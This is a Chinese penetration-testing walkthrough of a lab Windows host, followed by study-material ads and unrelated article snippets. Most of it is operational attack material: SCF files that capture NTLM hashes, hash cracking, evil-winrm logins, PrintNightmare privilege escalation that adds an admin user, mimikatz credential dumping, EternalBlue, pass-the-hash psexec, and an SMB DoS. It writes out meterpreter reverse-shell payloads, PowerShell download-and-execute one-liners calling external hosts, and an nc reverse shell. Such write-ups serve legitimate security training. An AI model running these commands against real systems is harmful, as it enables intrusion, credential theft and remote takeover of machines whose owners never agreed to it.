网络安全之渗透实战学习

news2024/11/14 17:34:54

前言

本次渗透以SMB共享之SCF文件攻击为突破点,利用burp编码爆破Basic Authorization认证、smb连接的多种方法、windows用户的NTLM值破解方法、evil-winrm的运用、windows主机信息收集工具、msf运行powershell脚本、远程运行powershell脚本、PrintNightmare漏洞提权等多个知识点。

本次渗透过程从技术层面来说难度并不算很大,本文精华在于渗透过程中运用到了多个知识点,并对多种利用SMB攻击的方法作了总结,下面开始此次渗透实战之旅。

信息收集

首先进行基本的端口扫描;

image.png

看到445端口,想到了smb的多种利用方法;看到5985,想到了可能要利用evil-winrm;然后在重点照顾下445端口;

nmap -A --script smb-vuln* -p 445 10.10.11.106

image.png

并没有发现直接的突破口,那我们还是从web入手。

smb匿名登录

尝试一波smb匿名登录,看是否存在共享文件,可以作为突破的线索;

常用命令总结如下:

smbmap -H 10.10.11.106
smbclient -N -L //10.10.11.106
enum4linux -a 10.10.11.106

image.png

暂时没有发现。

为了感谢广大读者伙伴的支持,准备了以下福利给到大家:
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
1、200多本网络安全系列电子书(该有的都有了)
2、全套工具包(最全中文版,想用哪个用哪个)
3、100份src源码技术文档(项目学习不停,实践得真知)
4、网络安全基础入门、Linux、web安全、攻防方面的视频(2021最新版)
5、网络安全学习路线(告别不入流的学习)
6、ctf夺旗赛解析(题目解析实战操作)

burp编码爆破

打开网页,弹出Basic Authorization认证

image.png

抓包进行爆破;

image.png

划红线的地方要设置3次,分别为:1、admin 2、: 3、 密码

image.png

用个弱口令字典,跑出结果了;

image.png

admin:admin

SMB共享之SCF文件攻击

登录后台,发现一个可上传文件的地方;

image.png

经过多次尝试,这里可利用SCF文件攻击进行渗透,下面介绍3种利用方法:

通过 NTLM 捕获进行 SMB 攻击

基本原理:SCF(Shell 命令文件)文件可用于执行一组有限的操作,一个 SCF 文件可以用来访问一个特定的 UNC 路径,允许渗透测试人员构建攻击。下面的代码可以被放置在一个文本文件,然后需要被植入到网络共享。

[Shell]Command=2
IconFile=\\10.10.16.4\share\hack.ico
[Taskbar]
Command=ToggleDesktop

将hack.txt文件保存为SCF文件,在文件名前面添加@符号可以将hack.scf放在共享驱动器文件列表的顶部。(@hack.scf)并设置接收方法;

Responder需要使用以下参数执行来捕获浏览共享的用户的哈希值。

responder -wrf -I tun0

当用户浏览共享时,将自动会从系统建立网络连接,连接到包含在SCF文件内的UNC路径。Windows将尝试使用用户名和密码对该共享进行身份验证。在验证过程中,随机的8字节质询密钥会从服务器发送到客户端,散列后的NTLM / LANMAN密码再次使用这个质询密钥进行加密。Responder将捕获NTLMv2哈希。

image.png

除了Responder,MSF也有一个模块,可以用来捕获来自SMB客户端的挑战 – 响应密码哈希。

auxiliary/server/capture/smb

image.png

image.png

上传之前的hack.scf来触发,就获取到了用户的NTLM值。

直接获取shell

利用MSF框架实现攻击。

exploit/windows/smb/smb_relay
set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.16.4
set smbhost 192.168.0.100
set srvport 8080
exploit

image.png

上传之前的hack.scf来触发,但本次渗透中该方法实测失败了。

上传payload获取shell

本方法的主要优点是它不需要与用户有任何交互,并自动强制用户连接到共享,在这个过程中不存在NTLMv2哈希的协商过程。因此,也可以将此技术与SMB中继相结合,SMB中继将提供有效载荷,可以从访问该共享的每个用户检索Meterpreter Shell。

MSFVenom可用于生成将在目标上执行的有效载荷:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.171 LPORT=5555 -f exe > hack.exe

利用Impacket中的smbrelayx 这个python脚本可以设置中继攻击并在当目标主机尝试连接SMB服务器时提供有效载荷。这将自动执行,因为SCF文件将强制每个用户使用他们自己的凭据连接到一个不存在的共享。

./smbrelayx.py -h Target-IP -e ./hack.exe

同时利用MSF设置木马的回连端:

exploit/multi/handler

模块需要配置与生成的有效载荷相同的参数。

set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.171
set LPORT 5555
exploit

当用户浏览共享时,SMB服务器将接收到连接,并且将使用用户名和密码散列来与他的系统进行认证,并将有效载荷执行为可写共享。本次渗透中该方法实测失败。

获取到NTLM值后,下一步尝试破解。

LM NTLM NET-NTLM2破解

Windows的系统密码hash默认情况下一般由两部分组成:第一部分是LM Hash,第二部分是NT Hash
LM

Windows Vista / Server 2008已经默认关闭,在老版本可以遇到,但根据windwos的向下兼容性,可以通过组策略启用它
示例:299BD128C1101FD6
hash破解:

john --format=lm hash.txt
hashcat -m 3000 -a 3 hash.txt

NThash

NTLM是现在Windows系统上存储密码的方式,可以通过转储SAM数据库或使用Mimikatz来获得。
示例:B4B9B02E6F09A9BD760F388B67351E2B
hash破解:

john --format=nt hash.txt
hashcat -m 1000 -a 3 hash.txt

NTLMV1
NTLM协议在服务器和客户端之间的质询/响应中使用NTHash,协议的v1同时使用NT和LM哈希,具体取决于配置和可用内容。
示例:

u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:cb8086049ec4736c

hash破解:

john --format=netntlm hash.txt
hashcat -m 5500 -a 3 hash.txt

NTLMV2
这是NTLM协议的新版本和改进版本,这使其很难破解。该概念与NTLMv1相同,只是发送到服务器的算法和响应不同,从Windows 2000开始,在Windows中为默认值。
示例:

admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030

hash破解:

john --format=netntlmv2 hash.txt
hashcat -m 5600 -a 3 hash.txt

在本次渗透中用的是NTLMV2;

hashcat -m 5600 -a 3 123.txt --wordlist top100.txt

image.png

john --format=netntlmv2 123.txt -w=top100.txt

image.png

成功得到用户名和密码:tony:liltony

根据开放的445和5985端口,连接一波;

尝试psexec连接失败;

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pB7Ofv13-1635337682265)(https://upload-images.jianshu.io/upload_images/26472780-ac960ef4943dcd51.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)]

evil-winrm -i 10.10.11.106 -u tony -p liltony

image.png

连接成功,下面就要开始想办法进行提权。

smb带用户名密码登录

利用得到的用户名和密码,再次尝试登录smb共享;

image.png

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WjhLPGxj-1635337682278)(https://upload-images.jianshu.io/upload_images/26472780-d7ed45ca1d8f9f6a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)]

image

image.png

image.png

提权

主机信息收集

尝试使用命令,结果没有权限执行;

image.png

那就用脚本来跑,常用的是winPEASx64.exe或者winPEAS.bat,这里有个小坑,程序运行时要加反斜杠;

image.png

image.png

结果很多,最后发现print spooler service 服务;

image.png

利用最近的WINDOWS PRINT SPOOLER远程代码执行漏洞(CVE-2021-1675)来提权。

https://github.com/calebstewart/CVE-2021-1675

测试发现直接导入powershell脚本会报错;

下面分别采用2种方法;

msf加载powershell

生成个木马

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.16.4 LPORT=7777 -f exe > hack.exe

接收反弹;

image.png

利用evil-winrm上传hack.exe,运行;

image.png

程序会报错且会话中断,迁移下进程,再次尝试;

image.png

需要事先上传ps1脚本到主机对应的位置,否则找不到脚本;!image.png

这次就成功执行了脚本,添加了一个新的用户且有administrator权限。还可以尝试一波远程运行ps脚本。

远程运行powershell脚本

远程下载文件到本地并执行

cmd.exe /c powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://127.0.0.1:8089','notepad.exe');start-process notepad.exe

远程执行ps1脚本

powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"

自己搭建个http服务器

image.png

远程运行ps脚本;

IEX(New-Object Net.Webclient).downloadstring('http://10.10.16.4:8000/CVE-2021-1675.ps1')
Invoke-Nightmare -NewUser "hack123" -NewPassword "hack123"

image.png

image.png

抓取密码试试;

./mimikatz.exe privilege::debug "sekurlsa::logonpasswords" exit

image.png

至此,成功拿下了该主机,下面彩蛋环节,总结下其他几种smb常见的攻击方法。

smb攻击方式

Windows SMB 的版本
CIFS:SMB 的旧版本,于 1996 年包含在 Microsoft Windows NT 4.0 中。

SMB 1.0 / SMB1:在 Windows 2000、Windows XP、Windows Server 2003 和 Windows Server 2003 R2 中使用的版本。

SMB 2.0 / SMB2:此版本用于 Windows Vista 和 Windows Server 2008。

SMB 2.1 / SMB2.1:此版本用于 Windows 7 和 Windows Server 2008 R2。

SMB 3.0 / SMB3:此版本用于 Windows 8 和 Windows Server 2012。

SMB 3.02 / SMB3:此版本用于 Windows 8.1 和 Windows Server 2012 R2。

SMB 3.1:此版本用于 Windows Server 2016 和 Windows 10。

目前,SMB 的最新版本是 SMB 3.1.1,它是在 Windows 10 和 Windows Server 2016 中引入的。该版本除了支持 SMB3 中添加的 AES 128 CCM 加密外,还支持 AES 128 GCM 加密,并使用SHA-512 哈希。当连接到使用 SMB 2.x 及更高版本的客户端时,SMB 3.1.1 还强制要求进行安全协商。

永恒之蓝

我们运行以下MSF模块,该模块将直接利用目标机器。

use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) > set rhost 192.168.1.101
msf exploit(ms17_010_eternalblue) > exploit

暴力破解

hydra -L user.txt -P pass.txt 192.168.1.101 smb
-L --> 表示用户名列表
-P --> 表示密码

如果破解成功,就可以枚举系统上的用户;

use auxiliary/scanner/smb/smb_enumusers
msf auxiliary(smb_enumusers) > set rhosts 192.168.1.101
msf auxiliary(smb_enumusers) > set smbuser raj
msf auxiliary(smb_enumusers) > set smbpass 123
msf auxiliary(smb_enumusers) > exploit

实测一下;

image.png

image.png

PSexec 连接SMB

可以用msf里的模块;

use exploit/windows/smb/psexec
msf exploit windows/smb/psexec) > set rhost 192.168.1.101
msf exploit(windows/smb/psexec) > set smbuser raj
msf exploit(windows/smb/psexec) > set smbpass 123
msf exploit(windows/smb/psexec) > exploit

因为本次渗透无法成功,补了之前的一张图;

image.png

还可以用Impacket中的psexec.py
#用明文密码连接

./psexec.py xie/administrator:密码@192.168.10.131

#用哈希值连接

./psexec.py xie/administrator@192.168.10.131 -hashes AADA8EDA23213C025AE50F5CD5697D9F:6542D35ED5FF6AE5E75B875068C5D3BC

还可以直接用psexec.exe程序;

image.png

Rundll32 One-liner

通过Metasploit的SMB Delivery启动Rundll32攻击

Metasploit还包含了生成恶意dll文件的“SMB Delivery”模块。该模块通过SMB服务器提供payload,并提供检索和执行生成payload的命令。目前支持DLL和Powershell。

use exploit/windows/smb/smb_delivery
msf exploit(windows/smb/smb_delivery) > set srvhost 192.168.1.109
msf exploit(windows/smb/smb_delivery) > exploit

这将生成恶意 DLL 文件的链接,现在将此链接发送到你的目标并等待他的操作。

image.png

一旦受害者在运行提示符或命令提示符内运行恶意代码,我们就会在 Metasploit 上获得一个 Meterpreter 会话。

SMB DOS 攻击

SMB Dos 攻击是我们在 Metasploit 框架中拥有的另一种最优秀的方法。

该模块利用 Windows 7 和 Windows Server 2008 R2 上的 Microsoft Windows SMB 客户端中的拒绝服务缺陷。要触发此错误,请将此模块作为服务运行,并强制易受攻击的客户端作为 SMB 服务器访问此系统的 IP。如果目标使用 Internet Explorer 或 Word 文档,则可以通过将 UNC 路径 (\HOST\share\something) 嵌入到网页中来实现。

use auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop
msf auxiliary(ms10_006_negotiate_response_loop) > set srvhost 192.168.1.106
msf auxiliary(ms10_006_negotiate_response_loop) > exploit

远程文件传输和运行

文件传输用法如下:

利用著名的impacket包里的smbserver.py,进行文件传输。
目录根据你自己定smbserver.py share ‘/root/exp’

image.png

然后在监听的shell里copy CEH.kdbx \10.10.14.57\Share,成功收到文件

image.png

还可以远程运行程序;

开启impacket里的smbsever服务,把ms15-051x64和nc64.exe放到我指定的共享文件,

python smbserver.py Share '/root/htb/bastard'

在shell里执行反弹;

\\10.10.14.57\share\ms15-051x64.exe "\\10.10.14.57\share\nc64.exe -e cmd 10.10.14.57 443"

另外本机监听443.收到,搞定

image.png

总结

对于SCF文件攻击,我们也可以通过下列方法来防止这种攻击的发生:
1、使用Kerbeors认证或SMB签名;

2、禁用共享文件给未认证用户所提供的写入权限;

3、确保使用的是NTLMv2密码并增加口令的复杂程度。

学习计划安排


我一共划分了六个阶段,但并不是说你得学完全部才能上手工作,对于一些初级岗位,学到第三四个阶段就足矣~

这里我整合并且整理成了一份【282G】的网络安全从零基础入门到进阶资料包,需要的小伙伴可以扫描下方CSDN官方合作二维码免费领取哦,无偿分享!!!

:黑客&网络安全的零基础攻防教程

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

在这里领取:

这个是我花了几天几夜自整理的最新最全网安学习资料包免费共享给你们,其中包含以下东西:

1.学习路线&职业规划

在这里插入图片描述
在这里插入图片描述

2.全套体系课&入门到精通

在这里插入图片描述

3.黑客电子书&面试资料

在这里插入图片描述

4.漏洞挖掘工具和学习文档

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1510416.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

内存抖动导致shared pool资源征用分析

业务hang住,后台查看事件都是“latch: shared pool” 根据堵塞的blocking_session检查sid为1873的会话 发现都是MMAN进程堵塞,我们都知道Oracle的MMAN进程(Memory Manager Process,内存管理进程)会根据系统负载的变化和…

2024.3.11 C++作业

1、提示并输入一个字符串&#xff0c;统计该字符中大写、小写字母个数、数字个数、空格个数以及其他字符个数要求使用C风格字符串完成 #include <iostream>using namespace std;int main() {char str[20];cout << "please enter the str:";gets(str);in…

2024 年广东省职业院校技能大赛(高职组) “云计算应用”赛项样题⑤

2024 年广东省职业院校技能大赛&#xff08;高职组&#xff09; “云计算应用”赛项样题⑤ 模块一 私有云&#xff08;50 分&#xff09;任务 1 私有云服务搭建&#xff08;10 分&#xff09;任务 2 私有云服务运维&#xff08;25 分&#xff09;任务 3 私有云运维开发&#xf…

基于云效构建部署NodeJS项目到ACK

准备工作 01、编写Dockerfile文件可以根据不同的环境&#xff0c;新建不同的Dockerfile文件&#xff0c;比如Dockerfile-PROD # Deliver the dist folder with NginxFROM nginx:stable-alpine ENV LANGC.UTF-8 ENV TZAsia/ShanghaiCOPY dist/ /usr/share/nginx/html COPY ngi…

Redis中AOF数据持久化

AOF介绍 AOF&#xff08;Append Only File&#xff09;持久化&#xff1a;以独立日志的方式存储了 Redis 服务器的顺序指令序列&#xff0c;并只记录对内存进行修改的指令。 当Redis服务发生雪崩等故障时&#xff0c;可以重启服务并重新执行AOF文件中的指令达到恢复数据的目的…

Windows系统中安装docker及镜像加速的配置

文章目录 一.安装wsl二.下载docker desktop三.更换Docker镜像引用出处 一.安装wsl 在安装wsl之前&#xff0c;先在Windows中配置WSL环境,步骤很简单&#xff0c;按照以下文章进行 Windows10/11配置WSL(Ubuntu)环境 以管理员身份打开Windows PowerShell&#xff0c;执行以下命…

怎样将PPT转成文本格式?PPT文本一键生成文本格式 工作经验分享

在日常工作和学习中&#xff0c;我们经常需要将PPT文件转换为文本格式&#xff0c;以便更好地进行编辑、搜索和分享。下面&#xff0c;我将介绍2种常见的PPT转文本格式的方法&#xff0c;帮助大家轻松实现这一需求。 方法一、使用汇帮PDF转换器软件里的“PPT文件操作”菜单进行…

Linux面试题汇总!附答案详解!学习提升必备!(30w+收藏)

Linux 概述 什么是Linux Unix和Linux有什么区别&#xff1f; 什么是 Linux 内核&#xff1f; Linux的基本组件是什么&#xff1f; Linux 的体系结构 BASH和DOS之间的基本区别是什么&#xff1f; Linux 开机启动过程&#xff1f; Linux系统缺省的运行级别&#xff1f; L…

Python docx学习笔记

个人学习笔记。 1 工具介绍 python-docx 是用于创建可修改 微软 Word 的一个 python 库&#xff0c;提供全套的 Word 操作&#xff0c;是最常用的 Word 工具。 1.1 基本概念 Document&#xff1a;是一个 Word 文档 对象&#xff0c;不同于 VBA 中 Worksheet 的概念&#xf…

带你搞清楚strtok函数和strerror函数的使用!

c语言中的小小白-CSDN博客c语言中的小小白关注算法,c,c语言,贪心算法,链表,mysql,动态规划,后端,线性回归,数据结构,排序算法领域.https://blog.csdn.net/bhbcdxb123?spm1001.2014.3001.5343 给大家分享一句我很喜欢我话&#xff1a; 知不足而奋进&#xff0c;望远山而前行&am…

Linux 多进程开发(上)

第二章 Linux 多进程开发 2.1 进程概述2.2 进程状态转换2.3 进程创建2.4 exec 函数族2.5 进程控制 网络编程系列文章&#xff1a; 第1章 Linux系统编程入门&#xff08;上&#xff09; 第1章 Linux系统编程入门&#xff08;下&#xff09; 第2章 Linux多进程开发&#xff08;…

python 基础知识点(蓝桥杯python科目个人复习计划62)

今日复习内容&#xff1a;做题 例题1&#xff1a;付账问题 问题描述&#xff1a; 几个人一起出去吃饭是常有的事&#xff0c;但在结账的时候&#xff0c;常常会出现一些争执。 现在有n个人出去吃饭&#xff0c;他们总共消费了S元&#xff0c;其中第i人带了ai元。幸运的是&a…

关于仅销售预包装食品的食品经营者备案有关事项的通知

江北新区、各区市场监督管理局、行政审批局&#xff1a; 为贯彻落实《中华人民共和国食品安全法》第三十五条规定和国务院《关于深化“证照分离”改革进一步激发食品安全发展活力的通知》精神《市场主体》&#xff08;国发[2021]7号&#xff09;&#xff0c;现将仅销售预包装食…

ModuleNotFoundError: No module named ‘serial.tools‘

解决以上报错的方法&#xff1a; 1、大家在使用以下代码时&#xff1a; port_list list(serial.tools.list_ports.comports()) 会出现报错&#xff1a; ModuleNotFoundError: No module named serial.tools; serial is not a package 这个时候我们应该先安装serial 然…

Codeforces Round 933 (Div. 3)C:Rudolf and the Ugly String

题目链接&#xff1a;Dashboard - Codeforces Round 933 (Div. 3) - Codeforces 解题思路&#xff1a; 解题思路&#xff1a; 题目大概意思是字符串中最少去掉几个单词可以使字符串变漂亮&#xff0c;其实只要找“map"和”pie“这两个单词数量&#xff0c;注意判断&quo…

19、deque赋值操作

#include <iostream> using namespace std; #include <deque>void printdeque (const deque<int>& d) {for (deque<int>::const_iterator it d.begin(); it ! d.end(); it ){//*it 100 容器中的数据不可修改cout << *it << " &…

CAN一致性测试:物理层测试之位时间测试

从本周开始结合工作实践&#xff0c;给大家总结CAN一致性相关的测试 包括&#xff1a;物理层、数据链路层、应用层三大块知识点 CAN一致性测试:物理层测试之位时间测试 试验目的&#xff1a;测试控制器输出的差分电平位信号的特征。 试验依据&#xff1a;GMW3122&#xff0…

C++第二弹---C++入门(中)

✨个人主页&#xff1a; 熬夜学编程的小林 &#x1f497;系列专栏&#xff1a; 【C语言详解】 【数据结构详解】【C详解】 C入门 1、函数重载 1.1、函数重载概念 1.2、C支持函数重载的原理--名字修饰(name Mangling) 3、引用 3.1、引用概念 3.2、引用特性 3.3、常引用 …

图片和PDF 加水印去水印

图片和PDF 加水印去水印 前要1. 图片加水印1.1 方法11.2 方法2 2. 去水印3. pdf加水印4. pdf 去水印 前要 网上查了很多资料, 汇总了几个不错的代码, 顺便做个笔记 1. 图片加水印 1.1 方法1 简单方便, 后也好处理 # -*- coding:utf-8 -*- import os from PIL import Imag…

蓝桥杯练习系统(算法训练)ALGO-975 P0802字符串表达式

资源限制 内存限制&#xff1a;256.0MB C/C时间限制&#xff1a;1.0s Java时间限制&#xff1a;3.0s Python时间限制&#xff1a;5.0s 编写一个字符串表达式求解函数int expression(char* s); 输入一个字符串表达式&#xff0c;返回它的结果。表达式长度不会超过100。表…